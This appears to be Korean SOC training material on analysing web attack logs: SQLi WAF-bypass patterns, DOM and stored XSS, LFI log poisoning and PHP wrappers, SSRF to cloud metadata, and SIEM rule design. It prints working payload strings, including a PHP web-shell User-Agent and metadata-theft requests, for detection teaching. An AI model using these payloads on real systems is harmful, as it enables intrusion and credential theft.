같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 A · SQLi

SQLi WAF 우회 기법 패턴 읽기

동일한 공격도 모양을 바꾸면 단순 문자열 매칭을 뚫는다 — 정규화 후 비교가 핵심이다.

URL 인코딩 우회

' → %27 → %2527 (이중 인코딩)
UNION → UN%49ON
SELECT → SEL%00ECT (NULL 바이트)

공백/주석 변형

공백 → /**/ → %09 → %0a → +
-- (주석) → --+ → #
UNION SELECT → UNION(SELECT)

대소문자 혼합

union → uNiOn → UNION
select → SeLeCt
sleep → SlEeP

탐지 대응 전략

raw_uri가 아닌 decoded_uri로 탐지
대소문자 정규화 후 비교
다중 인코딩 해제 파이프라인

보강 설명SQLi WAF 우회 기법입니다. 정규화 후 비교가 핵심입니다.

SQLi 우회인코딩주석

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

APPENDIX B

XSS 심화 — DOM-Based, CSP, 실전 체인

브라우저 안의 공격이 서버와 계정에 미치는 실제 영향까지

⏱ 선택 심화 콘텐츠

보강 설명 브라우저 안의 공격이 서버와 계정에 미치는 실제 영향까지. CSP는 XSS 방어의 중요한 안전장치지만, 정책이 느슨하거나 예외가 많으면 우회 여지가 생긴다. 헤더 자체를 읽을 줄 알아야 한다.

CSP정책 해석우회 여부

핵심 포인트

script-src, object-src, frame-ancestors, nonce/hash 사용 여부 확인
unsafe-inline, unsafe-eval, 광범위한 CDN 허용은 우회 폭을 넓힌다
정책이 있어도 DOM sink가 남아 있으면 위험이 계속된다

추가 확인

실제 응답 헤더에 CSP가 모든 경로에서 일관되게 내려오는지 확인
보고서 전송용 report-uri/report-to가 운영되는지 점검
관리자/백오피스 경로가 예외 처리되어 있지 않은지 확인

미니 실습

주어진 CSP 헤더를 보고 강/약 정책으로 분류해 보기
XSS payload가 정책에 의해 막히는지 시뮬레이션해 보기
개발팀에 전달할 최소 수정 포인트를 한 문장으로 써 보기

심화 B · XSS

DOM-Based XSS — 서버 로그에 안 남는 공격

입력이 서버를 거치지 않고 브라우저 DOM에서 직접 처리되어 실행된다 — 서버 로그에 payload가 없을 수 있다.

💥 공격 원리

URL fragment(#) 또는 클라이언트 파라미터를 JavaScript가 직접 DOM에 삽입. 서버에는 # 이후 내용이 전달되지 않음.

https://site.com/page#<img src=x onerror=alert(1)>
document.write(location.hash.slice(1))

🔎 탐지 어려움과 대응

서버 access.log에 # 이후 내용 없음
CSP(Content Security Policy) 헤더 확인
브라우저 콘솔 에러 로그 (APM 연동)
피해자 측: 세션 탈취 후 비정상 요청

📌 DOM XSS는 클라이언트 사이드 코드 감사 + 브라우저 보안 헤더(CSP, X-XSS-Protection) 확인이 핵심 방어선이다

보강 설명DOM-Based XSS는 서버 로그에 남지 않을 수 있어 탐지가 더 어렵습니다.

DOM-Based XSS브라우저location.hash

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

심화 B · XSS

XSS → 세션 탈취 → 계정 장악 체인

XSS는 스크립트 실행이 목적이 아니라, 그 이후의 세션 탈취와 계정 장악이 실제 피해다.

XSS Payload
삽입

→

피해자 브라우저
스크립트 실행

→

세션 탈취
cookie 전송

→

계정 장악
세션 재사용

🚨 탐지 가능한 흔적

외부 도메인으로 document.cookie 전송 요청
동일 세션의 IP 급변 (세션 하이재킹)
관리자 계정의 비정상 시간대 접근
저장 후 관리자 조회 시점의 외부 요청

🛡️ SOC 확인 체크리스트

XSS 발견 시 → Stored 여부 확인
관리자 계정의 최근 세션 IP 확인
HttpOnly 쿠키 설정 여부 확인
외부 도메인 요청(egress) 확인

보강 설명XSS 단독으로 끝나지 않고 세션 탈취까지 이어지는 공격 체인입니다.

XSS 체인세션 탈취document.cookie

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

APPENDIX C

LFI 심화 — Log Poisoning과 RCE 연결

파일 읽기에서 원격 코드 실행으로 — 체인의 끝을 알아야 한다

⏱ 선택 심화 콘텐츠

보강 설명 파일 읽기에서 원격 코드 실행으로 — 체인의 끝을 알아야 한다 LFI와 Path Traversal은 파일 경로 해석을 속여 민감 파일을 읽게 만드는 공격이다. 200만이 아니라 403·404·500까지 포함해 탐색 흐름을 봐야 한다.

Path Traversal민감 파일로그 포이즈닝

대표 신호

../, ..\, %2e%2e, %252e%252e 같은 경로 우회
/etc/passwd, .env, access.log, web.config, php://filter 표적
파일 경로를 바꿔가며 404→200 또는 403→200 전환이 나타남

추가 확인

애플리케이션이 어떤 기준 디렉터리에서 파일을 여는지 파악
로그 파일 포함 뒤 UA/Referer에 삽입된 코드가 있는지 확인
경로 정규화 전후 문자열을 모두 확보해 우회 정도를 판단

미니 실습

같은 의도를 가진 Traversal 문자열을 3가지 이상 찾아 보기
민감 파일 읽기와 정상 파일 다운로드를 어떻게 구분할지 적어 보기
Path Traversal과 LFI를 보고서 문장에서 어떻게 구분할지 써 보기

심화 C · LFI

Log Poisoning — 로그 파일이 무기가 된다

LFI로 로그를 읽을 수 있다면, 그 로그에 PHP 코드를 먼저 심어 RCE로 업그레이드할 수 있다.

💥 공격 체인

User-Agent를 PHP 코드로 변조 전송
User-Agent: <?php system($_GET['cmd']); ?>
서버 access.log에 코드 저장됨
LFI로 로그 Include: ?file=/var/log/apache2/access.log&cmd=whoami
PHP 실행 → RCE 달성

🔎 탐지 포인트

User-Agent에 <?php, system(, exec( 포함
이후 동일 IP의 LFI 시도 + /var/log/ 포함
두 단계를 연결하면 Log Poisoning 체인
app/error log: PHP 실행 흔적

⚠️ 방어: 로그 파일을 웹 루트 밖에 보관 + LFI 자체 방어(경로 정규화, 화이트리스트)

보강 설명Log Poisoning은 LFI를 이용해 로그 파일에 PHP 코드를 삽입한 후 실행하는 기법입니다.

Log PoisoningLFIUser-Agent

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

심화 C · LFI

PHP Wrapper — php://filter로 소스코드 추출

LFI에 PHP Wrapper를 결합하면 소스코드를 base64로 추출하거나 코드를 실행할 수 있다.

💥 대표 Wrapper 기법

php://filter/convert.base64-encode/resource=config.php
php://input → POST body로 PHP 코드 전송
data://text/plain;base64,PD9waHAgc3lzdGVt...

🔎 access.log 탐지 패턴

php://filter, php://input 키워드
data:// 스킴 포함 파라미터
base64 인코딩 긴 문자열 파라미터
이후 비정상 프로세스 실행

📌 방어: PHP 설정에서 allow_url_include=Off, allow_url_fopen=Off 확인 → 인프라팀 협업 포인트

보강 설명PHP Wrapper는 LFI를 통해 소스코드를 base64로 추출하는 고급 기법입니다.

PHP Wrapperphp://filterbase64

대표 신호

../·..%2f·php://filter·/etc/passwd·.env 같은 경로
; && | ` $() 와 id/whoami/wget 조합은 강한 CMDi 신호

추가 확인

error.log 예외 문구와 /tmp 최근 파일 생성 여부 확인
웹서버 자식 프로세스와 외부 egress 통신을 함께 확인

실습 예시

Traversal은 경로 정규화 후 판단하는 습관 만들기
CMDi는 access.log만으로 성공 단정하지 않기

APPENDIX D

실전 분석 케이스스터디

복합 공격 시나리오를 FPCA 프레임으로 분석하는 실전 훈련

⏱ 선택 심화 콘텐츠

보강 설명 복합 공격 시나리오를 FPCA 프레임으로 분석하는 실전 훈련. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

심화 D · 케이스스터디

Case Study 1: WebShell 체인 전체 재구성

업로드부터 내부 명령 실행까지 — 각 단계의 로그 흔적을 연결하라.

① Recon
404 탐색
/upload 발견

→

② Upload
POST .php
MIME 우회

→

③ Execute
GET shell.php
?cmd=whoami

→

④ Escalate
cat /etc/shadow

→

⑤ Persist
cron 등록

각 단계별 로그 소스

① Recon: access.log 404 패턴
② Upload: POST 200 + multipart + 실행형 filename
③ Execute: GET /uploads/shell.php?cmd=
④ Escalate: EDR process create (sh/bash)
⑤ Persist: cron/service 변경, egress 연결

FPCA 분석 요약

F: 172.104.81.55, /upload → /uploads/shell.php?cmd=
P: File Upload + WebShell 체인 완성
C: 서버 장악 → Critical 우선순위
A: 즉시 격리, IR 에스컬레이션, 포렌식

보강 설명WebShell 체인 전체 재구성 케이스스터디입니다.

WebShell체인FPCA

체인 신호

POST /upload 뒤 GET /uploads/*.php 호출이 이어지는지 확인
?cmd=·?exec=·?c= 반복은 WebShell 전형 패턴

추가 확인

업로드 디렉토리 새 파일·해시와 최근 변경 시간 확인
apache/nginx/php-fpm 자식 프로세스 생성 여부 확인

실습 예시

MIME 위장(image/jpeg)과 확장자 검사를 분리해서 보기
실행 불가 저장 경로와 실행 가능 경로를 구분 설명하기

심화 D · 케이스스터디

Case Study 2: 멀티벡터 복합 공격 흐름

한 IP가 SQLi → Brute Force → Upload를 순차 시도한다면 어떻게 읽어야 하는가.

📋 시나리오 타임라인

14:00~14:15
X.X.X.X → /search?q=UNION+SELECT 반복 23회
14:20~14:35
동일 IP → /login POST 401×30 → 302 1회
14:40~14:55
동일 IP → POST /upload + GET /uploads/shell.php

🔍 분석 포인트

동일 IP가 다른 공격 유형을 순차 시도
SQLi로 계정 정보 조회 → Brute Force 가능성
Brute Force 성공 후 Upload 권한 획득
IP 단위 시간 윈도우 상관분석으로 의도 파악

⚠️ 단일 공격 유형으로만 룰을 걸면 이런 복합 공격을 놓친다 — IP 기반 크로스-벡터 상관 룰이 필수

보강 설명멀티벡터 복합 공격 — 한 IP가 SQLi → Brute Force → Upload를 순차적으로 시도하는 시나리오입니다.

멀티벡터복합 공격IP 상관

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 D · 케이스스터디

Case Study 3: 느린 자동화 SQLi — 단일 룰로는 놓친다

요청 당 1~2초 간격으로 2시간 동안 계속된 SQLi — 어떻게 탐지하는가.

📋 시나리오

대상: /api/search 파라미터
2시간 동안 1~2초 간격으로 지속
매 요청 ORDER BY 번호 1씩 증가
상태코드 200/500 혼합
분당 요청 수는 정상 범위 (1~2건)

🔎 탐지 전략

5분 윈도우 아닌 60분 윈도우로 집계
동일 IP + 동일 엔드포인트 + SQLi 패턴 누적
규칙적 시간 간격 자체가 자동화 신호
payload 변형 패턴 (ORDER BY 1, 2, 3...)

📌 Rate Limit 기반 탐지의 한계 — 빠른 공격만 잡는다. 느린 자동화는 장기 윈도우 + 패턴 변화 탐지가 필요

보강 설명느린 자동화 SQLi 케이스스터디입니다. 단순 Rate Limit 탐지로는 놓칩니다.

Slow SQLi장기 윈도우탐지 전략

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 D · 케이스스터디

Case Study 4: 정상 사용자 vs 공격자 구분 기준

같은 엔드포인트에 비슷한 요청 — 어떤 것이 정상이고 어떤 것이 공격인가.

✅ 정상 사용자 패턴

다양한 엔드포인트 + 다양한 파라미터
브라우저 UA + Referer 존재
요청 간격: 사람 수준 (수초~수분)
상태코드 200/30x 위주
세션 유지, 로그인 → 조회 → 로그아웃

🚨 공격자 패턴

단일 엔드포인트 집중 + 파라미터 체계적 변형
자동화 UA 또는 UA 없음, Referer 없음
요청 간격: 밀리초~수초 (기계적)
404/500 다수 또는 200에 에러 포함
세션 없이 직접 API 호출

⚠️ 프록시·CDN 뒤에서는 IP가 같아 보일 수 있다 — X-Forwarded-For, User-Agent, 세션 패턴을 함께 봐야 한다

보강 설명정상 사용자와 공격자를 구분하는 기준 케이스스터디입니다.

정상 vs 공격패턴 비교구분 기준

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 D · 케이스스터디

Case Study 5: Blind vs Error-Based SQLi — access.log로 구분하기

두 SQLi 유형은 access.log에서 어떤 차이로 드러나는가.

Error-Based 흔적

          GET /item?id=1' AND extractvalue(1,concat(0x7e,(SELECT version())))--

          상태코드: 500

          response_time: 정상

          응답 본문: MySQL syntax error

Time-Based Blind 흔적

          GET /item?id=1' AND IF(1=1,SLEEP(5),0)--

          상태코드: 200

          response_time: 5.02초

          응답 본문: 정상

⚠️ Error-Based: App/error log에서 SQL error 폭증 확인 필수

📌 Time-Based: response_time 필드 없으면 탐지 불가 — 수집 필수

보강 설명Blind SQLi와 Error-Based SQLi를 실제 access.log 라인으로 구분하는 실습 케이스입니다.

Blind SQLiError-Basedaccess.log 분석

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 D · 케이스스터디

Case Study 6: Stored XSS → 관리자 세션 탈취

게시판에 스크립트를 심고, 관리자가 조회하는 순간 세션이 탈취된다.

① 스크립트 삽입
POST /board
XSS payload

→

② DB 저장
정상 200
payload 저장됨

→

③ 관리자 조회
GET /admin/board
스크립트 실행

→

④ 세션 탈취
외부 서버로
cookie 전송

탐지 가능한 흔적

POST /board body에 <script> 패턴
관리자 브라우저 → 외부 도메인 GET 요청
관리자 세션의 IP 급변 (세션 하이재킹)
관리자 계정의 비정상 행동 이후 발생

⚠️ 입력 시점(POST)과 피해 시점(관리자 조회)이 다름 — 두 이벤트를 연결하는 상관분석 필수

보강 설명Stored XSS 사건의 입력~실행~피해 체인을 분석하는 케이스입니다.

Stored XSS세션 탈취입력-실행 분리

실행 조건

입력이 HTML/JS 문맥에 반사·저장되는지가 핵심
onerror/onload/javascript:·document.cookie 조합 주목

추가 확인

댓글/게시물 저장 body, CSP 보고, 외부 도메인 호출 확인
동일 세션이 다른 IP에서 재사용됐는지 확인

실습 예시

search 파라미터와 comment 저장 요청을 분리해 읽기
HTML 인코딩된 정상 예시와 실행형 payload를 비교하기

심화 D · 케이스스터디

Case Study 7: SSRF → 클라우드 자격증명 탈취

169.254.169.254로의 SSRF 성공 시 IAM 역할 자격증명이 노출될 수 있다.

💥 공격 흐름

POST /api/preview에 url=http://169.254.169.254/latest/meta-data/ 전송
서버가 메타데이터 서비스에 요청
응답에 IAM role 이름, 자격증명 포함
공격자가 응답 데이터로 AWS API 호출 가능

🔎 탐지 포인트

access.log: url= 파라미터에 169.254.169.254
egress log: 서버 → 169.254.169.254 HTTP
응답 크기 이상 증가 (자격증명 포함)
이후 CloudTrail: 비정상 AWS API 호출

⚠️ 방어: IMDSv2 강제(PUT 토큰 방식), WAF에서 169.254.169.254 차단, 메타데이터 접근 제한

보강 설명SSRF로 클라우드 메타데이터를 탈취하는 케이스스터디입니다.

SSRF클라우드169.254.169.254

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

APPENDIX E

탐지 룰 고도화 — SIEM 구현 관점

어떤 룰을 어떻게 설계해야 운영 가능한 탐지가 되는가

⏱ 선택 심화 콘텐츠

보강 설명 어떤 룰을 어떻게 설계해야 운영 가능한 탐지가 되는가. SIEM 관점에서는 원문 로그를 그대로 쌓는 것보다 디코딩·정규화·엔티티 매핑이 먼저다. 좋은 룰은 좋은 필드 설계에서 나온다.

SIEM정규화쿼리

핵심 포인트

decoded URI, src_ip, user_agent, status, bytes, response_time, asset_tag를 표준화
원문 보존과 정규화 필드를 함께 유지해야 재분석이 가능
단일 룰보다 여러 약한 신호를 상관하는 방식이 운영 효율이 좋다

추가 확인

로그 파서가 인코딩과 프록시 헤더를 정확히 해석하는지 검증
룰 임계값은 자산 유형과 트래픽 특성에 따라 분리
탐지 이후 후속 조회용 링크와 플레이북 입력값을 같이 설계

실무 예시

한 공격에 대해 수집 필드→정규화 필드→탐지 조건→출력 메시지를 써 보기
Recall과 Precision을 동시에 관리하는 방법을 적기
룰 품질을 평가할 운영 지표를 3개 정리하기

심화 E · 탐지 설계

탐지 룰 계층 설계 — Tier1 → Tier2 → Tier3

단일 룰보다 계층화된 룰이 오탐을 줄이고 우선순위를 명확하게 한다.

🔵 Tier 1 — 넓은 그물 (log only)

공격 키워드 탐지. Recall 높음, Precision 낮음. 사람 검토 없이 Tier2 트리거용.

예: URL에 UNION 포함 → log only

🟢 Tier 2 — 강화 조건 (티켓 생성)

Tier1 + 반복성 + 상태코드 조합. 알람 수 감소, 정밀도 향상.

예: 동일 IP, UNION ≥5회, 200/500 혼합

🔴 Tier 3 — 상관 룰 (즉시 알림)

Tier2 + 후속 행위. 즉시 대응 필요 알람. SOAR 자동 트리거.

예: SQLi + app error 급증 + 대용량 응답

💡 Tier별 대응 분리: Tier1 suppression / Tier2 티켓 / Tier3 즉시 알림 + SOAR

보강 설명탐지 계층 설계를 통해 오탐을 줄이고 우선순위를 명확하게 합니다.

탐지 계층Tier1Tier2

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 E · 탐지 설계

공격 유형별 SIEM 룰 구현 예시

실제 SIEM에서 구현 가능한 상관분석 룰의 구조를 이해한다.

SQLi 상관 룰

src_ip = X AND
decoded_uri LIKE '%UNION%SELECT%' AND
count(*) > 10 WITHIN 5min AND status IN (200,500)
→ ALERT: SQLi Medium

Brute Force + 성공 전환

endpoint='/login' AND status=401
AND count(*) > 20 WITHIN 10min
FOLLOWED BY status IN (200,302) WITHIN 5min
→ CRITICAL: Auth Success After BF

WebShell 체인 룰

POST /upload AND filename~'\.php$' AND status=200
FOLLOWED BY
GET /uploads/%.php?cmd= WITHIN 10min
→ CRITICAL: WebShell Chain

SSRF 상관 룰

query_param CONTAINS '127.0.0.1' OR '169.254.'
FOLLOWED BY outbound_dns OR outbound_http
TO internal_range WITHIN 30s
→ HIGH: SSRF with Outbound

보강 설명SIEM에서 실제 구현 가능한 상관분석 룰 예시입니다.

SIEM 룰SQLiBrute Force

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 E · 탐지 설계

베이스라인 기반 이상 탐지 접근

시그니처 탐지의 한계를 보완하는 것은 정상 패턴 대비 이탈을 감지하는 통계적 접근이다.

📊 베이스라인 항목

IP별 시간대별 평균 요청 수
엔드포인트별 정상 상태코드 분포
허용 User-Agent 목록
평균 response_time per endpoint
정상 Request Body 크기 범위

🚨 이상 탐지 트리거

요청 수가 평균의 3σ 초과
404 비율이 평소의 10배 이상
신규 IP의 대량 요청 (first-seen)
response_time 평균의 5배 이상
새벽 시간대 관리자 접근

📌 시그니처(알려진 공격)와 이상 탐지(알 수 없는 변형)를 병행해야 탐지 커버리지가 완성된다

보강 설명베이스라인을 구축해 이상 탐지 접근을 강화합니다.

베이스라인이상 탐지통계

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 E · 탐지 설계

Recall과 Precision — 탐지 품질의 두 축

모든 공격을 잡으려 하면 오탐이 늘고, 오탐을 줄이려 하면 공격을 놓친다 — 균형이 핵심이다.

Recall (탐지율) 높이는 방법

더 많은 패턴·변형 포함
임계치 낮춤
더 긴 시간 윈도우
→ 오탐 증가 감수

Precision (정밀도) 높이는 방법

조건 추가 (반복성, 상태코드, 자산)
임계치 높임
화이트리스트 적용
→ 미탐 위험 증가

🎯 실무 균형 전략

• Critical 자산: Recall 우선 (미탐이 더 위험)

• Low 자산: Precision 우선 (피로도 관리)

• 계층 룰로 자동 분류 (Tier1/2/3)

• 정기 룰 리뷰로 양쪽 균형 유지

보강 설명탐지 룰의 Recall과 Precision 균형을 잡는 방법입니다.

RecallPrecision오탐

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 E · 탐지 설계

탐지 엔지니어링 라이프사이클

룰 하나는 배포로 끝나지 않는다 — 수집부터 개선까지의 반복 주기가 탐지 품질을 결정한다.

📊 데이터
필드 정규화
수집 확인

→

🔬 분석
공격 패턴
TTP 연구

→

✍️ 룰 작성
시그니처
상관 설계

→

🧪 테스트
오탐 확인
검증

→

🚀 배포
SIEM 적용
문서화

→

🔁 개선
피드백
튜닝

각 단계 핵심

데이터: 없는 필드는 탐지 불가
분석: 실제 공격 샘플 기반
테스트: 스테이징 환경 검증
개선: 오탐/미탐 피드백 루프

💡 탐지 엔지니어링은 소프트웨어 개발과 유사 — 지속적 배포(CD)가 필요한 영역

보강 설명탐지 엔지니어링 라이프사이클을 이해합니다.

탐지 엔지니어링라이프사이클룰 개발

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용
Tier1·Tier2·Tier3로 confidence를 분리 설계

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼
WAF 차단 로그만 보고 허용 요청을 놓치지 말 것

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸
룰 배포 후에는 차단율·정탐률·서비스 영향 함께 점검

심화 E · 탐지 설계

탐지 커버리지 매트릭스 — Blind Spot 파악

어떤 공격 유형을 얼마나 탐지하고 있는지 가시화해야 운영 우선순위가 잡힌다.

공격 유형	Tier1	Tier2	Tier3	Blind Spot
SQLi	✅	✅	⚠️	Second-Order, Slow Blind
XSS	✅	⚠️	❌	DOM-Based, 난독화 변형
LFI/CMDi	✅	✅	⚠️	Log Poisoning 체인
WebShell	✅	✅	✅	낮음
SSRF	⚠️	⚠️	❌	egress 로그 없으면 탐지 불가

⚠️ 커버리지 매트릭스를 주기적으로 업데이트해 blind spot을 관리하는 것이 탐지 엔지니어링의 핵심 문서화 과제다

보강 설명탐지 커버리지 매트릭스를 통해 blind spot을 파악합니다.

커버리지 매트릭스blind spotATT&CK 매핑

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용
Tier1·Tier2·Tier3로 confidence를 분리 설계

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼
WAF 차단 로그만 보고 허용 요청을 놓치지 말 것

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸
룰 배포 후에는 차단율·정탐률·서비스 영향 함께 점검

APPENDIX F

웹 보안 아키텍처 — 심층 방어 설계

탐지보다 먼저 — 공격이 도달하기 전에 줄이는 방어 구조

⏱ 선택 심화 콘텐츠

보강 설명 탐지보다 먼저 — 공격이 도달하기 전에 줄이는 방어 구조. 웹 분석은 브라우저·프록시·웹서버·앱·DB 계층을 함께 그려야 정확해진다. 같은 요청도 어느 계층 로그를 보느냐에 따라 보이는 사실이 다르다.

계층 구조로그 위치입력 채널

핵심 관점

요청이 지나가는 계층마다 남는 필드와 의미를 분리해서 보기
Source IP, X-Forwarded-For, Host, URI를 함께 읽어 실제 행위자와 대상 자산을 구분하기
동적 엔드포인트와 정적 리소스의 위험도 차이를 먼저 판단하기

추가 확인

LB/WAF/App 로그가 서로 같은 요청을 어떻게 다르게 기록하는지 비교
관리자 표면·업로드 경로·API 경로가 어디인지 미리 자산화
정상 브라우저 패턴과 자동화 도구 패턴을 헤더·속도·반복성으로 구분

미니 실습

한 URL을 보고 정적/동적/관리자/API 여부를 말해 보기
같은 요청이 프록시와 앱 로그에 어떻게 다르게 찍히는지 표로 정리
XFF 체인을 보고 실제 클라이언트 IP 후보를 고르기

심화 F · 보안 아키텍처

심층 방어 — 계층별 방어 구조

단일 방어선이 뚫려도 다음 계층이 잡을 수 있도록 — 중첩 방어가 웹 보안의 핵심이다.

① 네트워크

DDoS 방어, IP 블랙리스트, 지역 필터링

② CDN/엣지

Rate Limiting, Bot 탐지, TLS Termination

③ WAF

패턴 차단, OWASP CRS, 커스텀 룰

④ 애플리케이션

입력 검증, Prepared Statement, Output Encoding

⑤ 인증/세션

MFA, 세션 고정 방지, HttpOnly 쿠키

⑥ 데이터

DB 최소 권한, 민감정보 암호화, 감사 로그

⑦ 모니터링

SIEM, WAF 알람, EDR, SOAR 대응

탐지팀은 ⑦을 담당하지만 ①~⑥과 협력 없이는 한계가 있다

보강 설명심층 방어 계층별 구조를 이해합니다.

심층 방어계층 방어Defense in Depth

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 F · 보안 아키텍처

Zero Trust — 아무도 신뢰하지 않는다

내부 네트워크라도 믿지 않는다 — 모든 요청을 검증하고, 최소 권한만 부여한다.

3대 원칙

Never Trust, Always Verify
내부 IP도 인증 필요
Least Privilege
필요한 최소 권한만 부여
Assume Breach
이미 뚫렸다고 가정하고 탐지

SOC에서의 의미

내부 IP의 관리자 접근도 검증 대상
VPN 내부 트래픽도 모니터링
서비스 계정의 웹 요청도 기록
인증 성공 이후 행동도 감시 대상

📌 탐지팀 실무: "내부에서 왔으니 정상"은 없다 — WebShell, 계정 탈취는 내부에서 시작된다

보강 설명Zero Trust 원칙을 웹 보안에 적용합니다.

